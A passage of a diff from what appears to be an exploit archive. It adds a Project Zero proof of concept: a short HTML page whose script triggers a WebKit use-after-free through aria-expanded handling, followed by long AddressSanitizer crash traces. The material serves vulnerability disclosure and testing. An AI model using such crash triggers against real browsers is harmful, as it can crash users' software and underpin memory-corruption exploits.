#14 0x10a6767b2 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76f7b2)
|
||||||
|
#15 0x10ccec7c6 in WebCore::TextIterator::TextIterator(WebCore::Range const*, unsigned short) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2de57c6)
|
||||||
|
#16 0x10ccf8b2f in WebCore::plainText(WebCore::Range const*, unsigned short, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2df1b2f)
|
||||||
|
#17 0x109f5820d in WebCore::AccessibilityRenderObject::textUnderElement(WebCore::AccessibilityTextUnderElementMode) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5120d)
|
||||||
|
#18 0x109f2c9e2 in WebCore::AccessibilityNodeObject::textUnderElement(WebCore::AccessibilityTextUnderElementMode) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x259e2)
|
||||||
|
#19 0x109f58273 in WebCore::AccessibilityRenderObject::textUnderElement(WebCore::AccessibilityTextUnderElementMode) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x51273)
|
||||||
|
#20 0x109f2a6e0 in WebCore::accessibleNameForNode(WebCore::Node*, WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x236e0)
|
||||||
|
#21 0x109f2e8d3 in WebCore::AccessibilityNodeObject::accessibilityDescriptionForElements(WTF::Vector<WebCore::Element*, 0ul, WTF::CrashOnOverflow, 16ul>&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x278d3)
|
||||||
|
#22 0x109f2ec3e in WebCore::AccessibilityNodeObject::ariaLabeledByAttribute() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c3e)
|
||||||
|
#23 0x109f279c9 in WebCore::AccessibilityNodeObject::ariaAccessibilityDescription() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x209c9)
|
||||||
|
#24 0x109f2ed5c in WebCore::AccessibilityNodeObject::hasAttributesRequiredForInclusion() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d5c)
|
||||||
|
#25 0x109f5d550 in WebCore::AccessibilityRenderObject::computeAccessibilityIsIgnored() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x56550)
|
||||||
|
#26 0x109f464ab in WebCore::AccessibilityObject::accessibilityIsIgnored() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3f4ab)
|
||||||
|
#27 0x10a0e2df1 in WebCore::AXObjectCache::getOrCreate(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dbdf1)
|
||||||
|
#28 0x10a0e0b6f in WebCore::AXObjectCache::getOrCreate(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1d9b6f)
|
||||||
|
#29 0x10a0e650d in WebCore::AXObjectCache::textChanged(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1df50d)
|
||||||
|
|
||||||
|
previously allocated by thread T0 here:
|
||||||
|
#0 0x104b53d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
|
||||||
|
#1 0x7fffa3314281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
|
||||||
|
#2 0x116506ae4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c54ae4)
|
||||||
|
#3 0x1164fbc4d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c49c4d)
|
||||||
|
#4 0x116491437 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bdf437)
|
||||||
|
#5 0x116490768 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bde768)
|
||||||
|
#6 0x109f09a08 in WTF::RefCounted<WebCore::AccessibilityObject>::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2a08)
|
||||||
|
#7 0x109f55ef9 in WebCore::AccessibilityRenderObject::create(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4eef9)
|
||||||
|
#8 0x10a0e3e5d in WebCore::createFromRenderer(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dce5d)
|
||||||
|
#9 0x10a0e2c59 in WebCore::AXObjectCache::getOrCreate(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dbc59)
|
||||||
|
#10 0x109f2c7c3 in WebCore::AccessibilityNodeObject::textUnderElement(WebCore::AccessibilityTextUnderElementMode) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x257c3)
|
||||||
|
#11 0x109f58273 in WebCore::AccessibilityRenderObject::textUnderElement(WebCore::AccessibilityTextUnderElementMode) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x51273)
|
||||||
|
#12 0x109f2a6e0 in WebCore::accessibleNameForNode(WebCore::Node*, WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x236e0)
|
||||||
|
#13 0x109f2e8d3 in WebCore::AccessibilityNodeObject::accessibilityDescriptionForElements(WTF::Vector<WebCore::Element*, 0ul, WTF::CrashOnOverflow, 16ul>&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x278d3)
|
||||||
|
#14 0x109f2ec3e in WebCore::AccessibilityNodeObject::ariaLabeledByAttribute() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c3e)
|
||||||
|
#15 0x109f279c9 in WebCore::AccessibilityNodeObject::ariaAccessibilityDescription() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x209c9)
|
||||||
|
#16 0x109f2ed5c in WebCore::AccessibilityNodeObject::hasAttributesRequiredForInclusion() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d5c)
|
||||||
|
#17 0x109f5d550 in WebCore::AccessibilityRenderObject::computeAccessibilityIsIgnored() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x56550)
|
||||||
|
#18 0x109f464ab in WebCore::AccessibilityObject::accessibilityIsIgnored() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3f4ab)
|
||||||
|
#19 0x10a0e2df1 in WebCore::AXObjectCache::getOrCreate(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dbdf1)
|
||||||
|
#20 0x10a0e0b6f in WebCore::AXObjectCache::getOrCreate(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1d9b6f)
|
||||||
|
#21 0x10a0e650d in WebCore::AXObjectCache::textChanged(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1df50d)
|
||||||
|
#22 0x10a820041 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x919041)
|
||||||
|
#23 0x10a826268 in WebCore::Element::didAddAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f268)
|
||||||
|
#24 0x10a82607c in WebCore::Element::addAttributeInternal(WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f07c)
|
||||||
|
#25 0x10a81f8d7 in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9188d7)
|
||||||
|
#26 0x10a81f6c1 in WebCore::Element::setAttribute(WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9186c1)
|
||||||
|
#27 0x10b463b93 in WebCore::jsElementPrototypeFunctionSetAttributeCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x155cb93)
|
||||||
|
#28 0x10b4555d8 in long long WebCore::BindingCaller<WebCore::JSElement>::callOperation<&(WebCore::jsElementPrototypeFunctionSetAttributeCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x154e5d8)
|
||||||
|
#29 0x10b455441 in WebCore::jsElementPrototypeFunctionSetAttribute(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x154e441)
|
||||||
|
|
||||||
|
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25bb4) in WebCore::AccessibilityNodeObject::textUnderElement(WebCore::AccessibilityTextUnderElementMode) const
|
||||||
|
Shadow bytes around the buggy address:
|
||||||
|
0x1c10000120c0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c10000120d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c10000120e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c10000120f0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
0x1c1000012100: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
=>0x1c1000012110: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
0x1c1000012120: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000012130: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000012140: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000012150: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000012160: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||||
|
Addressable: 00
|
||||||
|
Partially addressable: 01 02 03 04 05 06 07
|
||||||
|
Heap left redzone: fa
|
||||||
|
Freed heap region: fd
|
||||||
|
Stack left redzone: f1
|
||||||
|
Stack mid redzone: f2
|
||||||
|
Stack right redzone: f3
|
||||||
|
Stack after return: f5
|
||||||
|
Stack use after scope: f8
|
||||||
|
Global redzone: f9
|
||||||
|
Global init order: f6
|
||||||
|
Poisoned by user: f7
|
||||||
|
Container overflow: fc
|
||||||
|
Array cookie: ac
|
||||||
|
Intra object redzone: bb
|
||||||
|
ASan internal: fe
|
||||||
|
Left alloca redzone: ca
|
||||||
|
Right alloca redzone: cb
|
||||||
|
==728==ABORTING
|
||||||
|
-->
|
||||||
197
platforms/multiple/dos/42361.html
Executable file
197
platforms/multiple/dos/42361.html
Executable file
|
|
@ -0,0 +1,197 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1245
|
||||||
|
|
||||||
|
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.
|
||||||
|
|
||||||
|
Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector (simply opening the inspector enables accessibility features). On WebKitGTK+ (and possibly other WebKit releases) accessibility features are enabled by default.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
-->
|
||||||
|
|
||||||
|
<style>
|
||||||
|
#div { visibility: collapse }
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
function eventhandler() {
|
||||||
|
document.execCommand("bold", false);
|
||||||
|
img.style.removeProperty("-webkit-appearance");
|
||||||
|
img.setAttribute("aria-expanded", "false");
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<div id="div">
|
||||||
|
<dl>
|
||||||
|
<canvas>aaa</canvas>
|
||||||
|
<img id="img" src="x" style="-webkit-appearance: relevancy-level-indicator;" onerror="eventhandler()">
|
||||||
|
|
||||||
|
<!--
|
||||||
|
=================================================================
|
||||||
|
|
||||||
|
ASan log:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
==29817==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000aa7a0 at pc 0x00010b892ab9 bp 0x7fff5edcdf80 sp 0x7fff5edcdf78
|
||||||
|
READ of size 8 at 0x6080000aa7a0 thread T0
|
||||||
|
==29817==WARNING: invalid path to external symbolizer!
|
||||||
|
==29817==WARNING: Failed to use and restart external symbolizer!
|
||||||
|
#0 0x10b892ab8 in WebCore::AccessibilityRenderObject::handleAriaExpandedChanged() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5fab8)
|
||||||
|
#1 0x10c14c041 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x919041)
|
||||||
|
#2 0x10c152268 in WebCore::Element::didAddAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f268)
|
||||||
|
#3 0x10c15207c in WebCore::Element::addAttributeInternal(WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f07c)
|
||||||
|
#4 0x10c14b8d7 in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9188d7)
|
||||||
|
#5 0x10c14b6c1 in WebCore::Element::setAttribute(WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9186c1)
|
||||||
|
#6 0x10cd8fb93 in WebCore::jsElementPrototypeFunctionSetAttributeCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x155cb93)
|
||||||
|
#7 0x10cd815d8 in long long WebCore::BindingCaller<WebCore::JSElement>::callOperation<&(WebCore::jsElementPrototypeFunctionSetAttributeCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x154e5d8)
|
||||||
|
#8 0x10cd81441 in WebCore::jsElementPrototypeFunctionSetAttribute(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x154e441)
|
||||||
|
#9 0x235a91e01027 (<unknown module>)
|
||||||
|
#10 0x10859434a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#11 0x10859434a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#12 0x10858d91a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
|
||||||
|
#13 0x1081f2757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
|
||||||
|
#14 0x1081743da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
|
||||||
|
#15 0x1077ac0f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
|
||||||
|
#16 0x1077ac362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
|
||||||
|
#17 0x1077ac6d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3)
|
||||||
|
#18 0x10ca26a15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15)
|
||||||
|
#19 0x10cdba510 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1587510)
|
||||||
|
#20 0x10c1bb68e in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x98868e)
|
||||||
|
#21 0x10c1bb170 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x988170)
|
||||||
|
#22 0x10c182d77 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94fd77)
|
||||||
|
#23 0x10c183d0f in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x950d0f)
|
||||||
|
#24 0x10c183733 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x950733)
|
||||||
|
#25 0x10c7b0af1 in WebCore::ImageLoader::dispatchPendingErrorEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xf7daf1)
|
||||||
|
#26 0x10c7b0c4a in WebCore::EventSender<WebCore::ImageLoader>::dispatchPendingEvents() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xf7dc4a)
|
||||||
|
#27 0x10bfa20d4 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76f0d4)
|
||||||
|
#28 0x10c3479ce in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb149ce)
|
||||||
|
#29 0x10c344d0c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb11d0c)
|
||||||
|
#30 0x10bfc0493 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78d493)
|
||||||
|
#31 0x10c5345c0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd015c0)
|
||||||
|
#32 0x10c05f093 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c093)
|
||||||
|
#33 0x10c01e386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386)
|
||||||
|
#34 0x10baad997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#35 0x10baa72aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
#36 0x10e42ec41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
#37 0x1018d02eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
#38 0x1018d3689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#39 0x1018d2ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#40 0x101173683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
#41 0x100f1d3b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5)
|
||||||
|
#42 0x100f26888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888)
|
||||||
|
#43 0x108c20312 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03312)
|
||||||
|
#44 0x108c20d41 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03d41)
|
||||||
|
#45 0x7fffd2f753c0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa73c0)
|
||||||
|
#46 0x7fffd2f562cc in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x882cc)
|
||||||
|
#47 0x7fffd2f557c5 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x877c5)
|
||||||
|
#48 0x7fffd2f551c3 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x871c3)
|
||||||
|
#49 0x7fffd24b6ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
|
||||||
|
#50 0x7fffd24b6cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
|
||||||
|
#51 0x7fffd24b6b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
|
||||||
|
#52 0x7fffd0a51e23 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46e23)
|
||||||
|
#53 0x7fffd11cd85d in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c285d)
|
||||||
|
#54 0x7fffd0a467aa in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b7aa)
|
||||||
|
#55 0x7fffd0a111dd in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x61dd)
|
||||||
|
#56 0x7fffe89118c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
|
||||||
|
#57 0x7fffe89102e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
|
||||||
|
#58 0x100e2e56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
|
||||||
|
#59 0x7fffe86b8234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)
|
||||||
|
|
||||||
|
0x6080000aa7a0 is located 0 bytes inside of 88-byte region [0x6080000aa7a0,0x6080000aa7f8)
|
||||||
|
freed by thread T0 here:
|
||||||
|
#0 0x103e1a294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
|
||||||
|
